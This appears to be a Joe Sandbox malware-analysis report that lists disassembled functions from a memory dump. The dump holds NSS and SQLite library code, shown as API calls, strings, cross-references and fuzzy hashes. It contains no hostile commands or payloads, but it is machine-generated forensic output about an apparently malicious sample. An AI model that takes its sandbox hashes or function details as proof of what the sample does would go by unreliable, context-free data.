Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: Alloc_ArenaErrorExplodeTimeUtilValue
String ID: gfff$gfff$gfff$gfff$gfff
API String ID: 3534712800-180463219
Opcode ID: 8e1f59e1c67f25e955c91cbede47731bc3d6e58c9910517aebe3c982b8e51b1c
Instruction ID: d3a9efea7c99f323977cc656be116d192a1424693470557b4758d732b3a1abd3
Opcode Fuzzy Hash: 8e1f59e1c67f25e955c91cbede47731bc3d6e58c9910517aebe3c982b8e51b1c
Instruction Fuzzy Hash: 80515A72B116494FC708CDADDC527DABBEAABA4310F48C23AE442DBB81D638D906C751

Function 6CEE0F20 Relevance: 15.4, APIs: 3, Strings: 7, Instructions: 394stringCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,-00000001), ref: 6CEE1027
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CEE10B2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CEE1353

Strings

zeroblob(%d), xrefs: 6CEE1223
$, xrefs: 6CEE12A0
NULL, xrefs: 6CEE119E
%lld, xrefs: 6CEE114B
'%.*q', xrefs: 6CEE1217, 6CEE1292
-- , xrefs: 6CEE0FF5
%02x, xrefs: 6CEE12F6

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: memcpy$strlen
String ID: $$%02x$%lld$'%.*q'$-- $NULL$zeroblob(%d)
API String ID: 2619041689-2155869073
Opcode ID: 82ae85e3844fb108686fa3939b4ab23016027097daeb2162face02fdc9778afb
Instruction ID: 087b4a1a4094f5c8d03883cbb2767ba5e734fb4eba1a4bb042e2b0e5c2d466a2
Opcode Fuzzy Hash: 82ae85e3844fb108686fa3939b4ab23016027097daeb2162face02fdc9778afb
Instruction Fuzzy Hash: EBE1A171A083409FD704CF94C480A6BBBF1BF8A388F65891DE59587752D771E885CB82

Function 6CEE8FB0 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 289COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CEE8FEE
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CEE90DC
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CEE9118
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CEE915C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CEE91C2
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CEE9209

Strings

UUUU, xrefs: 6CEE9255
3333, xrefs: 6CEE925E

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: _byteswap_ulong$Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: 3333$UUUU
API String ID: 1967222509-2679824526
Opcode ID: 6cdff4f8b2ace81eceea980392bff055762160b7151f522fa9fe7a68a654e065
Instruction ID: ab987aac6b91c0344500c2d3e7ad751afcb4f1329bfbf13751cc3b475c8005c6
Opcode Fuzzy Hash: 6cdff4f8b2ace81eceea980392bff055762160b7151f522fa9fe7a68a654e065
Instruction Fuzzy Hash: 9DA1AF72E001259BDB04CB69CC81BEEB7F5BF4C368F1A4129E915A7351E736AC41CBA1

Function 6CDA0FE0 Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 227COMMON

Download Yara Rule

APIs

Part of subcall function 6CD9CA30: EnterCriticalSection.KERNEL32(?,?,?,6CDFF9C9,?,6CDFF4DA,6CDFF9C9,?,?,6CDC369A), ref: 6CD9CA7A
Part of subcall function 6CD9CA30: LeaveCriticalSection.KERNEL32(?), ref: 6CD9CB26

memset.VCRUNTIME140(00000000,00000000,00000C0A), ref: 6CDA103E
EnterCriticalSection.KERNEL32(?), ref: 6CDA1139
LeaveCriticalSection.KERNEL32(?), ref: 6CDA1190
sqlite3_free.NSS3(00000000), ref: 6CDA1227
sqlite3_log.NSS3(0000001B,delayed %dms for lock/sharing conflict at line %d,00000001,0000BCFE), ref: 6CDA126E
sqlite3_free.NSS3(?), ref: 6CDA127F

Strings

delayed %dms for lock/sharing conflict at line %d, xrefs: 6CDA1267
winAccess, xrefs: 6CDA129B

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavesqlite3_free$memsetsqlite3_log
String ID: delayed %dms for lock/sharing conflict at line %d$winAccess
API String ID: 2733752649-1873940834
Opcode ID: b98a5f246aab1bd2ff3d8c91fee219430c195152fd6b16752329568b4e435875
Instruction ID: 327fe143f945ba7d165267dbd2b2f4008f767e0fb42b97cd6d312196575cd4b5
Opcode Fuzzy Hash: b98a5f246aab1bd2ff3d8c91fee219430c195152fd6b16752329568b4e435875
Instruction Fuzzy Hash: 39713D36F05211DFEB449FA5EC49B6B3775FF86314F144229E82587AA0DB30D806CBA2

Function 6CDAAEC0 Relevance: 13.7, APIs: 9, Instructions: 242COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,00000002,?,6CECCF46,?,6CD9CDBD,?,6CECBF31,?,?,?,?,?,?,?), ref: 6CDAB039
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6CECCF46,?,6CD9CDBD,?,6CECBF31), ref: 6CDAB090
sqlite3_free.NSS3(?,?,?,?,?,?,6CECCF46,?,6CD9CDBD,?,6CECBF31), ref: 6CDAB0A2
CloseHandle.KERNEL32(?,?,6CECCF46,?,6CD9CDBD,?,6CECBF31,?,?,?,?,?,?,?,?,?), ref: 6CDAB100
sqlite3_free.NSS3(?,?,00000002,?,6CECCF46,?,6CD9CDBD,?,6CECBF31,?,?,?,?,?,?,?), ref: 6CDAB115
sqlite3_free.NSS3(?,?,?,?,?,?,6CECCF46,?,6CD9CDBD,?,6CECBF31), ref: 6CDAB12D

Part of subcall function 6CD99EE0: EnterCriticalSection.KERNEL32(?,?,?,?,6CDAC6FD,?,?,?,?,6CDFF965,00000000), ref: 6CD99F0E
Part of subcall function 6CD99EE0: LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6CDFF965,00000000), ref: 6CD99F5D

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: CriticalSection$sqlite3_free$EnterLeave$CloseHandle
String ID:
API String ID: 3155957115-0
Opcode ID: 17a228566c6094fa6542ae096fbd2e15d911f90584773d01cc3bb90d92685295
Instruction ID: 45c0331e8eaffa9b0929f364c23b6d1dcd1a94cd75b1c6f29b1d57f37f5db66d
Opcode Fuzzy Hash: 17a228566c6094fa6542ae096fbd2e15d911f90584773d01cc3bb90d92685295
Instruction Fuzzy Hash: 7B91BFB1A04205CFDB15CFA5D884B7AB7F1BF49304F14462EE45A97AA0E731E846CB51

Function 6CE7BD30 Relevance: 13.6, APIs: 9, Instructions: 102COMMON

Download Yara Rule

APIs

NSS_GetAlgorithmPolicy.NSS3(00000006,?), ref: 6CE7BD48
NSS_GetAlgorithmPolicy.NSS3(00000006,?), ref: 6CE7BD68
NSS_GetAlgorithmPolicy.NSS3(00000005,?), ref: 6CE7BD83
NSS_GetAlgorithmPolicy.NSS3(00000005,?), ref: 6CE7BD9E
NSS_GetAlgorithmPolicy.NSS3(0000000A,?), ref: 6CE7BDB9
NSS_GetAlgorithmPolicy.NSS3(00000007,?), ref: 6CE7BDD0
NSS_GetAlgorithmPolicy.NSS3(000000B8,?), ref: 6CE7BDEA
NSS_GetAlgorithmPolicy.NSS3(000000BA,?), ref: 6CE7BE04
NSS_GetAlgorithmPolicy.NSS3(000000BC,?), ref: 6CE7BE1E

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: AlgorithmPolicy
String ID:
API String ID: 2721248240-0
Opcode ID: 3635a602a2c8e09096bcd94a2b17495252314adaf9833ddfa7c3759e251fbc91
Instruction ID: f3ecab0d6d036dc1f1e150e0a17cb0b81d44b330c7f61e9480b017859e2bb9bc
Opcode Fuzzy Hash: 3635a602a2c8e09096bcd94a2b17495252314adaf9833ddfa7c3759e251fbc91
Instruction Fuzzy Hash: B421A2B7E0429D57FB2046579D43F8B32789BD174DF180128FA16EE741F7119418C6B6

Function 6CF28D20 Relevance: 12.7, APIs: 6, Strings: 1, Instructions: 471threadnetworkCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6CF714E4,6CEDCC70), ref: 6CF28D47
PR_GetCurrentThread.NSS3 ref: 6CF28D98

Part of subcall function 6CE00F00: PR_GetPageSize.NSS3(6CE00936,FFFFE8AE,?,6CD916B7,00000000,?,6CE00936,00000000,?,6CD9204A), ref: 6CE00F1B
Part of subcall function 6CE00F00: PR_NewLogModule.NSS3(clock,6CE00936,FFFFE8AE,?,6CD916B7,00000000,?,6CE00936,00000000,?,6CD9204A), ref: 6CE00F25

PR_snprintf.NSS3(?,?,%u.%u.%u.%u,?,?,?,?), ref: 6CF28E7B
htons.WSOCK32(?), ref: 6CF28EDB
PR_GetCurrentThread.NSS3 ref: 6CF28F99
PR_GetCurrentThread.NSS3 ref: 6CF2910A

Strings

%u.%u.%u.%u, xrefs: 6CF28E74

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: CurrentThread$CallModuleOncePageR_snprintfSizehtons
String ID: %u.%u.%u.%u
API String ID: 1845059423-1542503432
Opcode ID: 94df57a64b221e4255cf762b93670e51789fbf9d82df95b1c252013c0626d79f
Instruction ID: e2c08059eaeac16dd6e0b98842eb87e8b842fc53da13224ae6e3ae52da5a3978
Opcode Fuzzy Hash: 94df57a64b221e4255cf762b93670e51789fbf9d82df95b1c252013c0626d79f
Instruction Fuzzy Hash: 2C028B329052518FDB18CF9AC4687A6BBB2EF42304F1A825EDC915FBD1C739DA49C790

Function 6CDAEFB0 Relevance: 12.1, Strings: 9, Instructions: 815COMMON

Download Yara Rule

Strings

sqlite_temp_master, xrefs: 6CDAF0A6, 6CDAF2D5
temporary table name must be unqualified, xrefs: 6CDAF734
%s %T already exists, xrefs: 6CDAFAC8
not authorized, xrefs: 6CDAF957, 6CDAF9BA
view, xrefs: 6CDAF061, 6CDAF071, 6CDAFAB7
sqlite_master, xrefs: 6CDAF0AB, 6CDAF2DA, 6CDAF757, 6CDAF93E
there is already an index named %s, xrefs: 6CDAF9D7
table, xrefs: 6CDAF05C, 6CDAFABC, 6CDAFAC7
authorizer malfunction, xrefs: 6CDAF95C, 6CDAF9BF, 6CDAFA5E, 6CDAFA8B

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: %s %T already exists$authorizer malfunction$not authorized$sqlite_master$sqlite_temp_master$table$temporary table name must be unqualified$there is already an index named %s$view
API String ID: 3168844106-1126224928
Opcode ID: 29e214f61b5beeb202b63c0715d7d05304c764336840f3dc4cb708b4c3929261
Instruction ID: c0eb689ec915d160133aeb6fc0fa5393d53475a54e31335cc294eb97d9027cc2
Opcode Fuzzy Hash: 29e214f61b5beeb202b63c0715d7d05304c764336840f3dc4cb708b4c3929261
Instruction Fuzzy Hash: 76726F70E04205CFDB14CFA9C484BAABBF1FF49308F1581AAD8559B762D775E846CB90

Function 6CEC9C40 Relevance: 11.1, APIs: 3, Strings: 3, Instructions: 565COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,00000000,6CD9C52B), ref: 6CEC9D53
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00014960,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CECA035
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000149AD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CECA114

Strings

%s at line %d of [%.10s], xrefs: 6CECA02E, 6CECA10D
database corruption, xrefs: 6CECA029, 6CECA108
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CECA01F, 6CECA0E4, 6CECA0FE

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: sqlite3_log$memcmp
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 717804543-598938438
Opcode ID: 0d3bfddbb46510dfc6d246ea0db9bd5c4a0e2ca165906234d1ba6c8ff191a5b1
Instruction ID: e4d129c5dee9b2f65483008b384c6331d6aee0fa8c19707ffa2614b5b000748f
Opcode Fuzzy Hash: 0d3bfddbb46510dfc6d246ea0db9bd5c4a0e2ca165906234d1ba6c8ff191a5b1
Instruction Fuzzy Hash: B522AE717483519FC708CF29C69062ABBF1BF8A348F248A2DE5AA97741D735D846CB43

Function 6CEE9D90 Relevance: 9.0, APIs: 2, Strings: 3, Instructions: 237COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,6CDA8637,?,?), ref: 6CEE9E88
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00011166,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,?,?,?,?,?,?,?,?,?,6CDA8637), ref: 6CEE9ED6

Strings

%s at line %d of [%.10s], xrefs: 6CEE9ECF
database corruption, xrefs: 6CEE9ECA
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CEE9EC0

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 912837312-598938438
Opcode ID: 3d5cfbe4dbb69e5fb851bfcdc6f175d37ed81362ec6fd4c14b318456ddfe528b
Instruction ID: bd929b27065ec2012eb4894ba6d5b75fe946d2e536cbdf49d64b9d0f5823bf94
Opcode Fuzzy Hash: 3d5cfbe4dbb69e5fb851bfcdc6f175d37ed81362ec6fd4c14b318456ddfe528b
Instruction Fuzzy Hash: 4281C231B002158FCB04CFAAC881AEEB7F6EF4D348B258529E915AB751E731ED45CB90

Function 6CEF7F20 Relevance: 7.7, APIs: 2, Strings: 2, Instructions: 713COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(00000000,00000000,?), ref: 6CEF81BC

Strings

BINARY, xrefs: 6CEF8126
out of memory, xrefs: 6CEF835B

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: memset
String ID: BINARY$out of memory
API String ID: 2221118986-3971123528
Opcode ID: a26a2bee1a23c9af420c1803e088a1d722d46d4aea137aaf0bb998756c281c06
Instruction ID: 536a92c5d8a0f195163344f8462a506bf1b002b91cfe1dd81227a707a0efc4ef
Opcode Fuzzy Hash: a26a2bee1a23c9af420c1803e088a1d722d46d4aea137aaf0bb998756c281c06
Instruction Fuzzy Hash: FB529F71E012189FDB24CF9AC89079DBBB2FF4A308F25815AD865AB751D730A846CB90

Function 6CE79EC0 Relevance: 7.6, APIs: 5, Instructions: 69memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6CE79ED6

Part of subcall function 6CE714C0: TlsGetValue.KERNEL32 ref: 6CE714E0
Part of subcall function 6CE714C0: EnterCriticalSection.KERNEL32 ref: 6CE714F5
Part of subcall function 6CE714C0: PR_Unlock.NSS3 ref: 6CE7150D

PORT_ArenaAlloc_Util.NSS3(?,00000024), ref: 6CE79EE4

Part of subcall function 6CE710C0: TlsGetValue.KERNEL32(?,6CE18802,00000000,00000008,?,6CE0EF74,00000000), ref: 6CE710F3
Part of subcall function 6CE710C0: EnterCriticalSection.KERNEL32(?,?,6CE18802,00000000,00000008,?,6CE0EF74,00000000), ref: 6CE7110C
Part of subcall function 6CE710C0: PL_ArenaAllocate.NSS3(?,?,?,6CE18802,00000000,00000008,?,6CE0EF74,00000000), ref: 6CE71141
Part of subcall function 6CE710C0: PR_Unlock.NSS3(?,?,?,6CE18802,00000000,00000008,?,6CE0EF74,00000000), ref: 6CE71182
Part of subcall function 6CE710C0: TlsGetValue.KERNEL32(?,6CE18802,00000000,00000008,?,6CE0EF74,00000000), ref: 6CE7119C

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CE79F38

Part of subcall function 6CE7D030: PORT_NewArena_Util.NSS3(00000400,00000000,?,00000000,?,6CE79F0B), ref: 6CE7D03B
Part of subcall function 6CE7D030: PORT_ArenaAlloc_Util.NSS3(00000000,00000028), ref: 6CE7D04E
Part of subcall function 6CE7D030: SECOID_FindOIDByTag_Util.NSS3(00000019), ref: 6CE7D07B
Part of subcall function 6CE7D030: SECITEM_CopyItem_Util.NSS3(00000000,-00000018,00000000), ref: 6CE7D08E
Part of subcall function 6CE7D030: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CE7D09D

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CE79F49
SEC_PKCS7DestroyContentInfo.NSS3(?), ref: 6CE79F59

Part of subcall function 6CE79D60: PORT_ArenaMark_Util.NSS3(?,00000000,?,?,00000000,?,6CE79C5B), ref: 6CE79D82
Part of subcall function 6CE79D60: PORT_ArenaGrow_Util.NSS3(?,?,00000000,?,6CE79C5B), ref: 6CE79DA9
Part of subcall function 6CE79D60: PORT_ArenaGrow_Util.NSS3(?,?,?,?,?,?,?,?,6CE79C5B), ref: 6CE79DCE
Part of subcall function 6CE79D60: PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,6CE79C5B), ref: 6CE79E43

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$Arena_CriticalEnterErrorGrow_Mark_SectionUnlock$AllocateContentCopyDestroyFindFreeInfoItem_Tag_
String ID:
API String ID: 4287675220-0
Opcode ID: 132886c8e85c4853bc8e1c53b1aed6ae3bf3f6f8f3c0773f36a280f0f549c6b0
Instruction ID: 07aadaf901275f46037e46d38f03b9125e4be906e855ff54294407bb9ca80237
Opcode Fuzzy Hash: 132886c8e85c4853bc8e1c53b1aed6ae3bf3f6f8f3c0773f36a280f0f549c6b0
Instruction Fuzzy Hash: CC1108B5F047015BF7249A659C01BAB73B4AF9478CF340138E90A9B740FB61E919C3B1

Function 6CF2CDC0 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 423stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CF2D086
PR_Malloc.NSS3(00000001), ref: 6CF2D0B9
PR_Free.NSS3(?), ref: 6CF2D138

Strings

>, xrefs: 6CF2CF5B

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: FreeMallocstrlen
String ID: >
API String ID: 1782319670-325317158
Opcode ID: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction ID: b8d246fbe0677e7103e5241d4b178fd09f4ff0ac385cdd39eb657e6ffd73eee7
Opcode Fuzzy Hash: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction Fuzzy Hash: AED14772B45A560BFB2448FC8CA13EAB7938B82374F684329D5619BFE5E61DC843C351

Function 6CECAD50 Relevance: 6.4, APIs: 4, Instructions: 389COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

